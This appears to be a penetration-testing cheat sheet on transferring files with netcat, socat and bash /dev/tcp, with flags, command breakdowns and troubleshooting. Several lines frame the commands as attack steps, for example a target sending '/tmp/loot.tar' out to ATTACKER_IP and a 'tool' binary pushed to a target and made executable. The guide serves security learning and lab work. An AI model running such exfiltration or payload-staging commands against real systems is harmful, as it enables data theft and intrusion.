Netcat File Transfer

Netcat turns a raw TCP connection into a file pipe: one side listens and redirects what it receives into a file, the other connects and feeds a file in. Reach for it on a stripped-down box with no web server, no SMB share, and no scp, when all you have is one reachable port and something to move across it. It answers “I can reach a port, how do I get this file across?”

Mental model: nc -lvnp PORT > file (receive) and nc HOST PORT < file (send). Everything else is which side listens and how the connection closes.

New to netcat transfers? Core concepts
  • Listener (-l): the side that waits for an inbound connection, usually the RECEIVER redirecting the stream into a file with > file
  • Connector (nc HOST PORT): the side that dials out, usually the SENDER feeding a file with < file
  • Direction is independent of who has the file: either end can listen, so choose by which way the firewall lets you open the connection, then wire > / < to match
  • EOF / half-close: nc must signal end-of-stream to finish; OpenBSD nc uses -N, traditional nc uses -q0, or the transfer just hangs
  • No metadata, no integrity, no resume: raw bytes only, no filename and no checksum, so a dropped transfer truncates silently
  • netcat variants differ: OpenBSD nc (has -N), traditional nc.traditional (has -q, -e), nmap’s ncat, and socat; the flags are not identical
  • socat addresses: build a transfer from TCP-LISTEN:, TCP:, FILE:, OPEN:, OPENSSL:; -u makes it strictly one-way
When to reach for netcat transfer (and when not)

Reach for it on a minimal target with an open TCP path but no HTTP client, SMB, or scp; when you already have a netcat session and just need to push or pull one file; or for quick one-off moves on a trusted lab network.

Reach for something else for many or large files, or anything that needs resume and integrity (scp, rsync, HTTP); for an easy browser-style pull (python3 -m http.server plus curl/wget); for a Windows target (SMB, certutil, PowerShell); or when the contents must not cross in cleartext and you cannot use the socat OPENSSL form (scp/ssh).

Install, update, verify#

sudo apt install -y netcat-openbsd socat          # Debian / Ubuntu / Kali
sudo dnf install -y nmap-ncat socat               # Fedora / RHEL (ncat + socat)
sudo apt install --only-upgrade -y netcat-openbsd # update

readlink -f "$(command -v nc)"   # which variant: nc.openbsd vs nc.traditional
nc -h 2>&1 | head -1             # OpenBSD prints "OpenBSD netcat"; traditional prints a version banner
command -v nc socat              # confirm both are on PATH

Knowing your nc variant matters, because the half-close flag differs. Quick loopback self-test:

# should print "hello"
nc -lvnp 4444 > /tmp/nctest & sleep 1
echo hello | nc -N 127.0.0.1 4444
cat /tmp/nctest

Flags you’ll actually use#

Skim these first; the cheat sheet below is these flags combined.

FlagDoesFlagDoes
-lListen for an inbound connection-NClose the socket after EOF on stdin (OpenBSD)
-vVerbose: show listen / connect info-q0Quit right after EOF on stdin (traditional)
-nNumeric only, skip DNS-w NTimeout (seconds) for connect and idle read
-pPort to listen on / source port-kKeep listening after a client disconnects
> fileReceiver: write received bytes to a file-uUDP instead of TCP
< fileSender: feed a file into the socket-4 / -6Force IPv4 / IPv6

Cheat sheet#

Each block starts bare and adds one flag at a time, so you can stop at the line that does the job.

# Send a file: receiver listens, sender connects (stop where it works)
nc -lvnp 4444 > out.bin              # 1. receiver: listen, save bytes to a file
nc TARGET_IP 4444 < file             # 2. sender: dial in, feed the file
nc -N TARGET_IP 4444 < file          # 3. + close cleanly on EOF (OpenBSD nc)
nc -q0 TARGET_IP 4444 < file         # 3b. + close cleanly on EOF (traditional nc)

# Pull a file the other way: you listen, target sends
nc -lvnp 4444 > loot.tar             # you receive
nc -N ATTACKER_IP 4444 < /tmp/loot.tar   # target sends

# Move a whole directory (tar streams the tree through one socket)
nc -lvnp 4444 | tar xzvf -           # receiver: unpack as bytes land
tar czf - some_dir/ | nc -N RECEIVER_IP 4444   # sender: stream a gzip tarball

# socat: robust one-way transfer (handles EOF for you)
socat -u TCP-LISTEN:4444,reuseaddr OPEN:out.bin,creat   # receiver
socat -u FILE:file TCP:TARGET_IP:4444                   # sender

# socat: encrypted, no cleartext on the wire
socat -u OPENSSL-LISTEN:4444,reuseaddr,cert=server.pem,verify=0 OPEN:out.bin,creat
socat -u FILE:file OPENSSL:TARGET_IP:4444,verify=0

# socat: serve one file to repeated pulls
socat TCP-LISTEN:8080,reuseaddr,fork FILE:artifact.bin

# No nc on the box: bash /dev/tcp builtin (far side must be a real listener)
cat file > /dev/tcp/RECEIVER_IP/4444                    # bash-only sender
exec 3<>/dev/tcp/PEER_IP/4444; cat <&3 > out.bin; exec 3>&-   # bash-only receiver

# UDP fallback when the TCP port is filtered
nc -u -lvnp 4444 > out.bin           # receiver (Ctrl+C when bytes stop; UDP has no EOF)
nc -u -N TARGET_IP 4444 < file       # sender

# Verify (netcat has no integrity check)
sha256sum file           # source
sha256sum out.bin        # destination, the two must match

Command breakdowns#

Each block below explains one situation, the exact command, and what to expect back.

Send a file to a target you can reach#

# receiver (target):
nc -lvnp 4444 > incoming.bin
# sender (you):
nc -N TARGET_IP 4444 < payload.bin

The receiver listens and redirects the stream into a file; the sender dials in and feeds the file. -N sends EOF so both sides exit. Expect the sender’s prompt to return when it finishes.

Pull a file back from the target#

# receiver (you):
nc -lvnp 4444 > loot.tar
# sender (target):
nc -N ATTACKER_IP 4444 < /tmp/loot.tar

Same mechanism, reversed roles: you listen, the target connects out to you. Use this when the target can reach back but you cannot open its ports.

Make the transfer close cleanly instead of hanging#

nc -N TARGET_IP 4444 < file     # OpenBSD nc
nc -q0 TARGET_IP 4444 < file    # traditional nc

Without a half-close flag the sender holds the socket open after the last byte and the transfer looks stuck. -N (OpenBSD) or -q0 (traditional) signal EOF so both ends finish and the listener writes out the file.

Choose which side listens when only one direction connects#

# target can only dial OUT to you -> you listen, target sends:
nc -lvnp 4444 > out.bin        # you (receiver)
nc -N ATTACKER_IP 4444 < file  # target (sender)

Firewalls usually allow outbound but not inbound. Put the LISTENER on whichever side can accept a connection and the CONNECTOR on the side that can dial. The file travels either way: > on the receiver, < on the sender.

Move an entire directory at once#

# receiver:
nc -lvnp 4444 | tar xzvf -
# sender:
tar czf - some_dir/ | nc -N RECEIVER_IP 4444

tar streams the whole tree as one gzip stream through nc, and the receiver untars as bytes arrive. Preserves structure and permissions, and avoids moving files one at a time.

Transfer a file robustly with socat#

# receiver:
socat -u TCP-LISTEN:4444,reuseaddr OPEN:incoming.bin,creat
# sender:
socat -u FILE:payload.bin TCP:TARGET_IP:4444

socat signals EOF correctly on its own, so there is no -N guesswork, and reuseaddr lets you restart the listener immediately. -u makes it strictly one-way, left address to right.

Encrypt a file transfer end to end#

# generate a throwaway cert once (receiver):
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 1 -nodes -subj '/CN=transfer'
cat server.key server.crt > server.pem
# receiver:
socat -u OPENSSL-LISTEN:4444,reuseaddr,cert=server.pem,verify=0 OPEN:incoming.bin,creat
# sender:
socat -u FILE:payload.bin OPENSSL:TARGET_IP:4444,verify=0

Wraps the transfer in TLS so the bytes are not readable on the wire. verify=0 skips certificate validation, which is fine for a self-signed lab cert but means the peer is not authenticated.

Transfer a file when netcat is not installed#

# a real listener (nc/socat) still runs on the OTHER side.
# bash-only SENDER:
cat payload.bin > /dev/tcp/RECEIVER_IP/4444
# bash-only RECEIVER (peer is the sender):
exec 3<>/dev/tcp/PEER_IP/4444; cat <&3 > incoming.bin; exec 3>&-

/dev/tcp is a bash builtin, so it works on stripped boxes that ship bash but no nc. Bash can only CONNECT, never listen, so the far end must be a genuine listener.

Serve one file to repeated downloads#

socat TCP-LISTEN:8080,reuseaddr,fork FILE:artifact.bin
# pull it from anywhere:
nc TARGET_IP 8080 > artifact.bin

fork re-opens artifact.bin for each new connection, so several clients can pull the same file without restarting the listener. Plain nc -k cannot re-serve a redirected file reliably.

Push a static binary and make it executable#

# target:
nc -lvnp 4444 > /tmp/tool && chmod +x /tmp/tool
# you:
nc -N TARGET_IP 4444 < ./tool

The && runs chmod only after nc exits, which is why the sender needs -N to end the connection. Send statically linked binaries so there are no shared-library surprises on a minimal target.

Move a file while you already have a netcat shell#

# in the existing shell (target), open a second listener in the background:
nc -lvnp 4445 > /tmp/grab.bin &
# from your box, send into it:
nc -N TARGET_IP 4445 < grab.bin

Keep the shell on its own port and use a second port for the file so the session is not disturbed. Background the listener with & so the shell stays usable.

Verify the file arrived intact#

sha256sum payload.bin     # source
sha256sum incoming.bin    # destination, the hashes must match

netcat has no integrity check and a bad EOF can truncate silently, so a matching hash is the only proof the transfer completed. For a directory, checksum the files after extraction or diff -r the two trees.

Fall back to UDP when TCP is filtered#

# receiver:
nc -u -lvnp 4444 > out.bin
# sender:
nc -u -N TARGET_IP 4444 < file

-u uses UDP, which sometimes slips past filters that block your TCP port. UDP has no delivery guarantee and no EOF, so the receiver never closes on its own: Ctrl+C it once bytes stop, keep the file small, and always checksum and re-send on mismatch.

Stop a connect from hanging forever#

nc -w 5 TARGET_IP 4444 < file     # give up if the connect stalls past 5s

-w bounds how long nc waits to connect and how long it lingers on an idle socket, so a dead or filtered target fails fast instead of hanging a script or a loop.

Reading the output#

With -v, netcat narrates the connection so you can tell a live transfer from a stall.

Line from -vMeans
Listening on 0.0.0.0 4444Listener is bound and waiting
Connection received on <ip> <port>A peer connected; bytes are flowing
prompt returns on both sidesSocket closed, transfer is done
prompt hangs after the last byteMissing -N / -q0; the half-close was never sent

Traditional nc phrases these as listening on [any] 4444 ... and connect to [ip] from ..., but the meaning is the same.

Troubleshooting#

ProblemCauseFix
Transfer hangs at the endNo EOF / half-close signaledAdd -N (OpenBSD) or -q0 (traditional) to the sender
Connection refusedListener not up / wrong portStart the listener first; confirm the port and IP
Truncated or short fileClosed early or EOF never signaledRe-send; checksum both ends; add -N / -q0
nc: invalid option -- 'N'Traditional nc has no -NUse -q0, or install netcat-openbsd
nc not foundMinimal boxUse socat, ncat, or the bash /dev/tcp trick
Receiver file is emptyNothing sent / wrong directionCheck who listens vs connects; verify IP and port
Permission denied writing fileNo write access in the cwdRedirect into /tmp or another writable dir
Contents readable on the wirePlain TCP is cleartextUse the socat OPENSSL form, or scp/ssh

Gotchas#

  • The listener does not exit on its own. Even after the file arrives, the socket stays open until the SENDER half-closes with -N / -q0. Put the flag on the sending side, not the listener.
  • > truncates the receiver’s file before a single byte arrives. A failed connection leaves a zero-byte file that looks like a clean empty transfer, so a checksum is the only real confirmation.
  • -N is OpenBSD-only, -q0 is traditional-only, ncat uses neither. Confirm your variant with readlink -f "$(command -v nc)" before you hardcode either into a script.
  • bash /dev/tcp is a shell builtin, not a device. It does nothing under sh/dash and ls /dev/tcp shows nothing; invoke it from an interactive bash or bash -c.
  • UDP mode drops bytes with no error. nc -u can lose data silently and never signals EOF, so never trust it for a file without a checksum and a retry.
  • A raw high-port transfer is trivially sniffable and logged. The bytes cross in cleartext and the listener shows up in host and network telemetry, so use the socat OPENSSL form when the contents matter.

Pairs with#

See netcat and socat for the full tool details behind these one-liners. When a web client is available, http-file-transfer is usually simpler for pulls, and smb-file-transfer fits Windows targets. For large or many files that need integrity and resume, reach for scp-ssh-transfer instead, and use chisel to tunnel first when there is no direct path. Browse the file transfer methods tag for every approach.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop